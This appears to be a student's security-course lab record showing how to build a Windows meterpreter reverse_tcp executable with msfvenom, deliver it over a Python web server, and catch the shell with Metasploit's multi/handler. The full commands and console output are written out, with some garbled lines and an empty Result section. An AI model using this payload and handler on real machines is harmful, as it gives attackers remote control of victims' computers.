Ex. No.: 13 Date:

METASPLOIT

Aim:

To set up Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely.

Algorithm:

- Generate payload to be inserted into the remote machine
- Set the LHOST and it's port number
- Open msfconsole.
- Use exploit/multi/handler
- Establish reverse_tcp with the remote windows 8 machine.
- Run SimpleHTTPServer with port number 8000.
- Open the web browser in Windows 8 machine and type http://172.16.8.155:8000
- In KaliLinux, type sysinfo to get the information about Windows 8 machine
- · Create a new directory using mkdir command.
- Delete the created directory.

Output:

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.8.155 LPORT=443 -f exe > /root/hi.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 341 bytes

Final size of exe file: 73802 bytes

root@kali:~# msfconsole

[-] ***Rting the Metasploit Framework console...\

[-] * WARNING: No database support: could not connect to server:

Connection refused Is the server running on host "localhost" (::1) and

accepting TCP/IP connections on port 5432?

could not connect to server: Connection refused

Is the server running on host "localhost" (127.0.0.1) and

accepting TCP/IP connections on port 5432?

[-] ***

```
+ -- --= [ 556 payloads - 45 encoders - 10 nops
+ -- --=[ 4 evasion
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) >
show options
Module options (exploit/multi/handler):
 Name Current Setting Required
Escription
Payload options
 (windows/meterpreter/reverse_tcp): Name
      Current Setting Required Description
 EXITFUNC process
                            yes
                                    Exit technique (Accepted: ", seh, thread, process, none)
 LHOST
                               The listen address (an interface may be specified)
                       yes
 LPORT
                         yes
                                 The listen port
Exploit
 target: Id
 Name
 0 Wildcard Target
msf5 exploit(multi/handler) > set LHOST 172.16.8.155
LHOST => 172.16.8.156
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 172.16.8.155:443
```

Result: